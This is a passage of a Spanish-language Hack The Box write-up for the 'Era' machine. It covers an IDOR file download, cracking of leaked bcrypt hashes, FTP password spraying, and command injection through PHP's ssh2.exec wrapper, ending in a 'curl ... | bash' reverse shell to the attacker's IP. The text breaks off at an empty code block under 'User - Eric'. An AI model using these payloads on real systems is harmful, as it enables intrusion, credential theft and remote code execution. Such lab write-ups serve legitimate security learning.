This page looks best with JavaScript enabled

HackTheBox - Era

 •  ✍️ sckull

Era corre un sitio para administrar archivos donde se identifico un IDOR. Se descargaron archivos entre ellos un backup que nos ayudo a escalar privilegios en el sitio y descubrir una funcionalidad unica para administradores donde, utilizamos el “wrapper” SSH2 para acceder a la maquina. Una contrasena conocida nos dio acceso a un nuevo usuario. Finalmente escalamos privilegios tras modificar y firmar un ejecutable utilizado en un cronjob.

Nombre Era
OS

Linux

Puntos 30
Dificultad Medium
Fecha de Salida 2025-07-26
IP 10.10.11.83
Maker

yurivich

Rated
{
    "type": "bar",
    "data":  {
        "labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"],
        "datasets": [{
            "label": "User Rated Difficulty",
            "data": [67, 40, 263, 553, 854, 675, 506, 159, 35, 78],
            "backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"]
        }]
    },
    "options": {
        "scales": {
          "xAxes": [{"display": false}],
          "yAxes": [{"display": false}]
        },
        "legend": {"labels": {"fontColor": "white"}},
        "responsive": true
      }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y ftp (21).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
# Nmap 7.95 scan initiated Wed Jul 30 19:25:27 2025 as: /usr/lib/nmap/nmap --privileged -p21,80 -sV -sC -oN nmap_scan 10.10.11.79
Nmap scan report for 10.10.11.79
Host is up (0.26s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://era.htb/
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jul 30 19:25:42 2025 -- 1 IP address (1 host up) scanned in 14.46 seconds

FTP

El servicio FTP no acepta sesiones anonimas.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
❯ ftp
ftp> o 10.10.11.79
Connected to 10.10.11.79.
220 (vsFTPd 3.0.5)
Name (10.10.11.79:kali): anonymous
331 Please specify the password.
Password: 
530 Login incorrect.
ftp: Login failed
ftp> exit
221 Goodbye.

Web Site

El sitio web nos redirige al dominio era.htb el cual agregamos al archivo /etc/hosts.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
❯ curl -sI 10.10.11.79
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 31 Jul 2025 01:26:35 GMT
Content-Type: text/html
Content-Length: 154
Connection: keep-alive
Location: http://era.htb/

El sitio se presenta como disenos de interiores.

image

Directory Brute Forcing

feroxbuster muestra unicamente contenido estatico para el sitio.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
❯ feroxbuster -u http://era.htb/ -w $MD
                                                                                                                                                                                        
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://era.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.11.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        7l       12w      162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301      GET        7l       12w      178c http://era.htb/img => http://era.htb/img/
200      GET     1672l     2840w    26650c http://era.htb/css/font-awesome.css
200      GET      322l      639w     5547c http://era.htb/js/fancybox/jquery.fancybox.css
200      GET      402l     1188w    11953c http://era.htb/js/wow.js
200      GET      205l     1368w     8097c http://era.htb/js/jquery.easing.1.3.js
200      GET        8l       73w     2429c http://era.htb/js/html5shiv.js
200      GET        9l        9w      307c http://era.htb/js/html5element.js
200      GET        3l       49w     1323c http://era.htb/favicon.png
200      GET      140l      288w     3613c http://era.htb/js/custom.js
200      GET       46l      231w    16345c http://era.htb/img/era.png
200      GET      226l      553w     6803c http://era.htb/js/jquery.nav.js
200      GET      558l     1856w    20511c http://era.htb/js/jquery-scrolltofixed.js
200      GET      176l      116w    18648c http://era.htb/img/client_logo5.png
200      GET      174l      103w    18048c http://era.htb/img/client_logo2.png
200      GET      183l      141w    19356c http://era.htb/img/client_logo3.png
200      GET       97l      495w    47669c http://era.htb/img/team_pic1.jpg
200      GET     1823l     3526w    31754c http://era.htb/css/style.css
200      GET       92l      588w    62199c http://era.htb/img/team_pic3.jpg
200      GET       46l      207w    23135c http://era.htb/js/fancybox/jquery.fancybox.pack.js
200      GET      184l      132w    19355c http://era.htb/img/client_logo1.png
200      GET        7l      400w    35601c http://era.htb/js/bootstrap.min.js
200      GET       78l      503w    48452c http://era.htb/img/team_pic2.jpg
200      GET      191l     1108w   113391c http://era.htb/img/portfolio_pic4.jpg
200      GET      201l     1204w   117568c http://era.htb/img/portfolio_pic2.jpg
200      GET     1398l     4982w    42845c http://era.htb/js/jquery.isotope.js
200      GET     3303l     5911w    69747c http://era.htb/css/animate.css
200      GET      408l     1589w   127791c http://era.htb/img/portfolio_pic3.jpg
200      GET      344l     1501w   166394c http://era.htb/img/portfolio_pic8.jpg
200      GET      361l     1233w    95449c http://era.htb/img/2.jpg
200      GET        4l     1421w    96381c http://era.htb/js/jquery-1.11.0.min.js
403      GET        7l       10w      162c http://era.htb/js/
403      GET        7l       10w      162c http://era.htb/css/
200      GET      390l     1601w   145339c http://era.htb/img/1.jpg
200      GET      312l     1146w   108725c http://era.htb/img/3.jpg
200      GET        5l     1421w   113498c http://era.htb/css/bootstrap.min.css
403      GET        7l       10w      162c http://era.htb/js/fancybox/
200      GET      544l     3540w   370919c http://era.htb/img/portfolio_pic1.jpg
200      GET      773l     5013w   479721c http://era.htb/img/portfolio_pic7.jpg
200      GET     1143l     6379w   486506c http://era.htb/img/portfolio_pic5.jpg
200      GET     1083l     6242w   526387c http://era.htb/img/portfolio_pic6.jpg
200      GET      446l     1536w    19493c http://era.htb/
301      GET        7l       12w      178c http://era.htb/css => http://era.htb/css/
301      GET        7l       12w      178c http://era.htb/js => http://era.htb/js/
301      GET        7l       12w      178c http://era.htb/fonts => http://era.htb/fonts/

Subdomain Discovery

Tras ejecutar ffuf este muestra el subdominio file.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
❯ ffuf -w /usr/share/seclists/Discovery/DNS/namelist.txt -u http://era.htb -H "Host: FUZZ.era.htb" -fw 4

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://era.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/namelist.txt
 :: Header           : Host: FUZZ.era.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 4
________________________________________________

file                    [Status: 200, Size: 6765, Words: 2608, Lines: 234, Duration: 261ms]
:: Progress: [151265/151265] :: Job [1/1] :: 152 req/sec :: Duration: [0:18:10] :: Errors: 0 ::

file.era.htb

El subdominio parece ser un servicio para almanacenamiento y administracion de archivos.

image

login.php muestra un formulario para autenticacion de usuarios.

image

security_login.php ofrece la opcion de autenticarse tras responder preguntas de seguridad de usuario.

image

Directory Brute Forcing

Tras ejecutar feroxbuster con el filtro -C 404 encontramos que existe la pagina register.php.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
❯ feroxbuster -u http://file.era.htb/ -w $CM -x php -C 404
                                                                                                                                                                                        
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://file.era.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirb/common.txt
 💢  Status Code Filters   │ [404]
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.11.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💲  Extensions            │ [php]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET      234l      559w     6765c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        7l       10w      162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        7l       12w      162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301      GET        7l       12w      178c http://file.era.htb/assets => http://file.era.htb/assets/
302      GET        0l        0w        0c http://file.era.htb/download.php => login.php
301      GET        7l       12w      178c http://file.era.htb/files => http://file.era.htb/files/
301      GET        7l       12w      178c http://file.era.htb/assets/css => http://file.era.htb/assets/css/
301      GET        7l       12w      178c http://file.era.htb/images => http://file.era.htb/images/
200      GET        0l        0w        0c http://file.era.htb/layout.php
200      GET      662l     5535w    34524c http://file.era.htb/LICENSE
200      GET        1l        6w       70c http://file.era.htb/logout.php
200      GET      327l      740w     9214c http://file.era.htb/login.php
302      GET        0l        0w        0c http://file.era.htb/manage.php => login.php
200      GET      105l      233w     3205c http://file.era.htb/register.php
301      GET        7l       12w      178c http://file.era.htb/assets/css/images => http://file.era.htb/assets/css/images/
302      GET        0l        0w        0c http://file.era.htb/upload.php => login.php
200      GET        0l        0w        0c http://file.era.htb/assets/cgi-bin/cgi-bin/football
200      GET        0l        0w        0c http://file.era.htb/images/ico

Era Storage

Tras registrar un usuario en /register.php este nos redirige al login donde nos autenticamos.

image

El dashboard muestra configuraciones para administrar archivos.

image

Se muestra un formulario para subir archivos.

image

Tambien observamos un formulario para actualizar las preguntas de seguridad de un usuario.

image

Upload Files

Tras subir un archivo este muestra un link de descarga donde el archivo se identifica por un ID.

image

Este link permite la descarga del archivo agregando dl=true a la url.

image

Enumerating Files - IDOR

Los archivos son presentados por ID ejecutamos ffuf para enumerar los archivos existentes dentro del sitio.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
❯ seq 1 5000 > n.txt
❯ ffuf -w n.txt -u 'http://file.era.htb/download.php?id=FUZZ' -H "Cookie: PHPSESSID=ldi11gohkr5mbt3bg08qk8t5an" -fl 267

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://file.era.htb/download.php?id=FUZZ
 :: Wordlist         : FUZZ: /home/kali/htb/era/n.txt
 :: Header           : Cookie: PHPSESSID=ldi11gohkr5mbt3bg08qk8t5an
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response lines: 267
________________________________________________

150                     [Status: 200, Size: 6366, Words: 2552, Lines: 222, Duration: 263ms]
1447                    [Status: 200, Size: 6364, Words: 2552, Lines: 222, Duration: 265ms]
:: Progress: [5000/5000] :: Job [1/1] :: 174 req/sec :: Duration: [0:00:33] :: Errors: 0 ::

Encontramos dos archivos comprimidos, site-backup-30-08-24.zip.

image

El segundo signing.zip.

image

Files

Descargamos ambos archivos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
❯ curl -X GET "http://file.era.htb/download.php?id=54&dl=true" -H "Cookie: PHPSESSID=ldi11gohkr5mbt3bg08qk8t5an" -o site-backup-30-08-24.zip
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 1959k    0 1959k    0     0   824k      0 --:--:--  0:00:02 --:--:--  824k
❯ curl -X GET "http://file.era.htb/download.php?id=150&dl=true" -H "Cookie: PHPSESSID=ldi11gohkr5mbt3bg08qk8t5an" -o signing.zip
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2746    0  2746    0     0   5096      0 --:--:-- --:--:-- --:--:--  5094
❯ ll
.rw-rw-r-- kali kali 2.7 KB Wed Jul 30 20:18:01 2025  signing.zip
.rw-rw-r-- kali kali  43 KB Wed Jul 30 20:17:49 2025  site-backup-30-08-24.zip

signing.zip muestra una clave privada y un archivo de configuracion.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
❯ unzip signing.zip -d signing
Archive:  signing.zip
  inflating: signing/key.pem         
  inflating: signing/x509.genkey     
❯ ll
.rw------- kali kali 2.9 KB Sat Jan 25 20:09:35 2025 󰌆 key.pem
.rw-rw-r-- kali kali 355 B  Sat Jan 25 20:09:18 2025  x509.genkey
❯ cat x509.genkey
[ req ]
default_bits = 2048
distinguished_name = req_distinguished_name
prompt = no
string_mask = utf8only
x509_extensions = myexts

[ req_distinguished_name ]
O = Era Inc.
CN = ELF verification
emailAddress = yurivich@era.com

[ myexts ]
basicConstraints=critical,CA:FALSE
keyUsage=digitalSignature
subjectKeyIdentifier=hash
authorityKeyIdentifier=keyid

site-backup muestra un backup del sitio donde observamos una base de datos sqlite.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
❯ unzip -l site-backup-30-08-24.zip
Archive:  site-backup-30-08-24.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
    34524  2025-06-29 10:29   LICENSE
    23359  2025-06-29 10:29   bg.jpg
        0  2025-06-29 10:23   css/
    22333  2025-06-29 10:29   css/main.css.save
    23227  2025-06-29 10:29   css/main.css
    55967  2025-06-29 10:29   css/fontawesome-all.min.css
      374  2025-06-29 10:29   css/noscript.css
        0  2025-06-29 10:23   css/images/
     3045  2025-06-29 10:29   css/images/overlay.png
     2540  2025-06-29 10:29   download.php
    20480  2025-06-29 10:20   filedb.sqlite
        0  2024-12-15 09:32   files/
      165  2024-12-15 09:32   files/.htaccess
       40  2024-12-07 20:19   files/index.php
     2221  2025-06-29 10:29   functions.global.php
     1570  2025-06-29 10:29   index.php
     7293  2025-06-29 10:29   initial_layout.php
     7959  2025-06-29 10:29   layout.php
     7222  2025-06-29 10:29   layout_login.php
     5729  2025-06-29 10:29   login.php
      248  2025-06-29 10:29   logout.php
   113289  2025-06-29 10:29   main.png
    11937  2025-06-29 10:29   manage.php
     5149  2025-06-29 10:29   register.php
     4916  2025-06-29 10:29   reset.php
        0  2025-06-29 10:23   sass/
        0  2025-06-29 10:23   sass/layout/
      735  2025-06-29 10:29   sass/layout/_wrapper.scss
      734  2025-06-29 10:29   sass/layout/_footer.scss
     1380  2025-06-29 10:29   sass/layout/_main.scss
     1634  2025-06-29 10:29   sass/main.scss
        0  2025-06-29 10:23   sass/base/
     2012  2025-06-29 10:29   sass/base/_page.scss
     1568  2025-06-29 10:29   sass/base/_reset.scss
     1940  2025-06-29 10:29   sass/base/_typography.scss
        0  2025-06-29 10:23   sass/libs/
      683  2025-06-29 10:29   sass/libs/_vars.scss
     7325  2025-06-29 10:29   sass/libs/_vendor.scss
     1957  2025-06-29 10:29   sass/libs/_functions.scss
     2218  2025-06-29 10:29   sass/libs/_mixins.scss
     4571  2025-06-29 10:29   sass/libs/_breakpoints.scss
      442  2025-06-29 10:29   sass/noscript.scss
        0  2025-06-29 10:23   sass/components/
     1787  2025-06-29 10:29   sass/components/_actions.scss
     1049  2025-06-29 10:29   sass/components/_icons.scss
     1296  2025-06-29 10:29   sass/components/_button.scss
      481  2025-06-29 10:29   sass/components/_icon.scss
      891  2025-06-29 10:29   sass/components/_list.scss
     4830  2025-06-29 10:29   sass/components/_form.scss
    92890  2025-06-29 10:29   screen-download.png
    97427  2025-06-29 10:29   screen-login.png
    85428  2025-06-29 10:29   screen-main.png
   170600  2025-06-29 10:29   screen-manage.png
    87742  2025-06-29 10:29   screen-upload.png
     7580  2025-06-29 10:29   security_login.php
     6943  2025-06-29 10:29   upload.php
        0  2025-06-29 10:23   webfonts/
   192116  2025-06-29 10:29   webfonts/fa-solid-900.eot
    34092  2025-06-29 10:29   webfonts/fa-regular-400.ttf
    16804  2025-06-29 10:29   webfonts/fa-regular-400.woff
   836484  2025-06-29 10:29   webfonts/fa-solid-900.svg
   191832  2025-06-29 10:29   webfonts/fa-solid-900.ttf
    98020  2025-06-29 10:29   webfonts/fa-solid-900.woff
   129048  2025-06-29 10:29   webfonts/fa-brands-400.ttf
    13580  2025-06-29 10:29   webfonts/fa-regular-400.woff2
    75440  2025-06-29 10:29   webfonts/fa-solid-900.woff2
    34388  2025-06-29 10:29   webfonts/fa-regular-400.eot
   143962  2025-06-29 10:29   webfonts/fa-regular-400.svg
    74508  2025-06-29 10:29   webfonts/fa-brands-400.woff2
    87352  2025-06-29 10:29   webfonts/fa-brands-400.woff
   129352  2025-06-29 10:29   webfonts/fa-brands-400.eot
   688605  2025-06-29 10:29   webfonts/fa-brands-400.svg
---------                     -------
  3685313                     72 files
❯ unzip site-backup-30-08-24.zip -d site-backup
Archive:  site-backup-30-08-24.zip
  inflating: site-backup/LICENSE     
  inflating: site-backup/bg.jpg      
   creating: site-backup/css/
  inflating: site-backup/css/main.css.save  
  inflating: site-backup/css/main.css  
  inflating: site-backup/css/fontawesome-all.min.css  
  inflating: site-backup/css/noscript.css  
   creating: site-backup/css/images/
 extracting: site-backup/css/images/overlay.png  
  inflating: site-backup/download.php  
  inflating: site-backup/filedb.sqlite  
# [...] snip [...]
  inflating: site-backup/webfonts/fa-brands-400.svg  

Database

Dentro de la base de datos observamos la tabla users que contiene columnas para las preguntas de seguridad.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
❯ sqlite3
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> .open filedb.sqlite
sqlite> .tables
files  users
sqlite> .schema users
CREATE TABLE users (
		user_id INTEGER PRIMARY KEY AUTOINCREMENT,
		user_name varchar(255) NOT NULL,
		user_password varchar(255) NOT NULL,
		auto_delete_files_after int NOT NULL
		, security_answer1 varchar(255), security_answer2 varchar(255), security_answer3 varchar(255));
sqlite>

Observamos que el usuario admin_ef01cab31aa es el unico con preguntas de seguridad registradas.

1
2
3
4
5
6
7
8
sqlite> select * from users;
1|admin_ef01cab31aa|$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC|600|Maria|Oliver|Ottawa
2|eric|$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm|-1|||
3|veronica|$2y$10$xQmS7JL8UT4B3jAYK7jsNeZ4I.YqaFFnZNA/2GCxLveQ805kuQGOK|-1|||
4|yuri|$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.|-1|||
5|john|$2a$10$iccCEz6.5.W2p7CSBOr3ReaOqyNmINMH1LaqeQaL22a1T1V/IddE6|-1|||
6|ethan|$2a$10$PkV/LAd07ftxVzBHhrpgcOwD3G1omX4Dk2Y56Tv9DpuUV/dh/a1wC|-1|||
sqlite>

Cracking the Hash

Ejecutamos john con el wordlist rockyou.txt sobre el archivo de hash, se muestran dos valores iniciales.

1
2
3
4
5
6
7
8
❯ john sqlite_hashes --wordlist=$ROCK
Using default input encoding: UTF-8
Loaded 6 password hashes with 6 different salts (bcrypt [Blowfish 32/64 X3])
Loaded hashes with cost 1 (iteration count) varying from 1024 to 4096
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
america          (?)     
mustang          (?) 

FTP Access

Netexec FTP

Creamos un wordlist de usuarios y contrasenas.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
❯ cat passwords.txt
admin
america
mustang
❯ cat users.txt
admin_ef01cab31aa
eric
veronica
yuri
john
ethan

Ejecutamos netexec para ftp, se muestra el par yuri:mustang como valido.

1
2
3
❯ nxc ftp 10.10.11.79 -u users.txt -p passwords.txt --continue-on-success | grep +
FTP                      10.10.11.79     21     10.10.11.79      [+] yuri:mustang

FTP Login

Ingresamos por el servicio y observamos que existen dos directorios, uno de ellos contiene configuracion apache.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
❯ ftp
ftp> o 10.10.11.79
Connected to 10.10.11.79.
220 (vsFTPd 3.0.5)
Name (10.10.11.79:kali): yuri
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||21668|)
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Jul 22 08:42 apache2_conf
drwxr-xr-x    3 0        0            4096 Jul 22 08:42 php8.1_conf
226 Directory send OK.
ftp> cd apache2_conf
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||33204|)
150 Here comes the directory listing.
-rw-r--r--    1 0        0            1332 Dec 08  2024 000-default.conf
-rw-r--r--    1 0        0            7224 Dec 08  2024 apache2.conf
-rw-r--r--    1 0        0             222 Dec 13  2024 file.conf
-rw-r--r--    1 0        0             320 Dec 08  2024 ports.conf
226 Directory send OK.
ftp>

En el segundo una lista de ’librerias’ o ‘modulos’ para PHP.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
ftp> cd php8.1_conf
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||64204|)
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Jul 22 08:42 build
-rw-r--r--    1 0        0           35080 Dec 08  2024 calendar.so
-rw-r--r--    1 0        0           14600 Dec 08  2024 ctype.so
-rw-r--r--    1 0        0          190728 Dec 08  2024 dom.so
-rw-r--r--    1 0        0           96520 Dec 08  2024 exif.so
-rw-r--r--    1 0        0          174344 Dec 08  2024 ffi.so
-rw-r--r--    1 0        0         7153984 Dec 08  2024 fileinfo.so
-rw-r--r--    1 0        0           67848 Dec 08  2024 ftp.so
-rw-r--r--    1 0        0           18696 Dec 08  2024 gettext.so
-rw-r--r--    1 0        0           51464 Dec 08  2024 iconv.so
-rw-r--r--    1 0        0         1006632 Dec 08  2024 opcache.so
-rw-r--r--    1 0        0          121096 Dec 08  2024 pdo.so
-rw-r--r--    1 0        0           39176 Dec 08  2024 pdo_sqlite.so
-rw-r--r--    1 0        0          284936 Dec 08  2024 phar.so
-rw-r--r--    1 0        0           43272 Dec 08  2024 posix.so
-rw-r--r--    1 0        0           39176 Dec 08  2024 readline.so
-rw-r--r--    1 0        0           18696 Dec 08  2024 shmop.so
-rw-r--r--    1 0        0           59656 Dec 08  2024 simplexml.so
-rw-r--r--    1 0        0          104712 Dec 08  2024 sockets.so
-rw-r--r--    1 0        0           67848 Dec 08  2024 sqlite3.so
-rw-r--r--    1 0        0          313912 Dec 08  2024 ssh2.so
-rw-r--r--    1 0        0           22792 Dec 08  2024 sysvmsg.so
-rw-r--r--    1 0        0           14600 Dec 08  2024 sysvsem.so
-rw-r--r--    1 0        0           22792 Dec 08  2024 sysvshm.so
-rw-r--r--    1 0        0           35080 Dec 08  2024 tokenizer.so
-rw-r--r--    1 0        0           59656 Dec 08  2024 xml.so
-rw-r--r--    1 0        0           43272 Dec 08  2024 xmlreader.so
-rw-r--r--    1 0        0           51464 Dec 08  2024 xmlwriter.so
-rw-r--r--    1 0        0           39176 Dec 08  2024 xsl.so
-rw-r--r--    1 0        0           84232 Dec 08  2024 zip.so
226 Directory send OK.
ftp>

Unicamente se listan esos archivos no existe alguna configuracion ’extra’ o ’exclusiva’ dentro de los archivos de apache.

Yuri via SSH2

Tras analizar el codigo fuente del sitio encontramos que en download.php existe una funcionalidad unicamente para el admin donde obtiene el valor del parametro format donde espera un wrapper que es “ejecutado” especificando el archivo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// download.php
// BETA (Currently only available to the admin) - Showcase file instead of downloading it
	} elseif ($_GET['show'] === "true" && $_SESSION['erauser'] === 1) {
    		$format = isset($_GET['format']) ? $_GET['format'] : '';
    		$file = $fetched[0];

		if (strpos($format, '://') !== false) {
        		$wrapper = $format;
        		header('Content-Type: application/octet-stream');
    		} else {
        		$wrapper = '';
        		header('Content-Type: text/html');
    		}

    		try {
        		$file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
			$full_path = $wrapper ? $wrapper . $file : $file;
			// Debug Output
			echo "Opening: " . $full_path . "\n";
        		echo $file_content;
    		} catch (Exception $e) {
        		echo "Error reading file: " . $e->getMessage();
    		}

Si enviamos el wrapper para codificar en base64 quedaria de la siguiente forma.

1
2
# id=150&show=true&format=php://filter/read=convert.base64-encode/resource=
php://filter/read=convert.base64-encode/resource=files/signing.zip

User to Admin

Dentro de la base de datos encontramos las preguntas de seguridad para admin_ef01cab31aa.

1
Maria|Oliver|Ottawa

Intentamos ingresar por /security_login.php pero muestra que son las respuestas incorrectas.

image

Al conocer el nombre de usuario actualizamos las repuestas en /reset.php.

image
image

Ingresamos con estas al sitio en /security_login.php.

image

Observamos dos archivos zip de este usuario.

image

SSH2

Dentro del directorio php8.1_conf en ftp encontramos la lista de ’librerias’ y “wrappers” que podriamos utilizar. Si observamos los wrappers que existen, se muestra ssh2 que, de estar habilitado nos podria permitir ejecutar comandos como se muestra en la documentacion.

1
2
3
4
ssh2.shell://user:pass@example.com:22/xterm
ssh2.exec://user:pass@example.com:22/usr/local/bin/somecmd
ssh2.tunnel://user:pass@example.com:22/192.168.0.1:14
ssh2.sftp://user:pass@example.com:22/path/to/filename

Command Execution

Utilizamos ssh2.exec para ejecutar curl a nuestra direccion IP especificando las credenciales conocidas.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
GET /download.php?id=150&show=true&format=ssh2.exec://yuri:mustang@localhost:22/curl+10.10.14.8; HTTP/1.1
Host: file.era.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: PHPSESSID=ldi11gohkr5mbt3bg08qk8t5an
Upgrade-Insecure-Requests: 1
Priority: u=0, i

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 31 Jul 2025 05:03:44 GMT
Content-Type: application/octet-stream
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 95

Opening: ssh2.exec://yuri:mustang@localhost:22/curl 10.10.14.8;files/signing.zip
Resource id #3

Obtuvimos una solicitud por lo que la ejecucion fue exitosa.

1
2
3
4
❯ httphere .
[sudo] password for kali: 
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.79 - - [30/Jul/2025 23:03:33] "GET / HTTP/1.1" 200 -

User - Yuri

Ejecutamos una shell inversa con shells.

1
ssh2.exec://yuri:mustang@localhost:22/curl+10.10.14.8:8000/10.10.14.8:1335|bash;

Logrando obtener una shell inversa como Yuri.

1
2
3
4
5
6
7
8
9
❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.14.8] from era.htb [10.10.11.79] 44980
/bin/sh: 0: can't access tty; job control turned off
$ whoami;id;pwd
yuri
uid=1001(yuri) gid=1002(yuri) groups=1002(yuri)
/home/yuri
$

User - Eric

Cambiamos al usuario eric con una de las contrasenas conocidas logrando leer la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
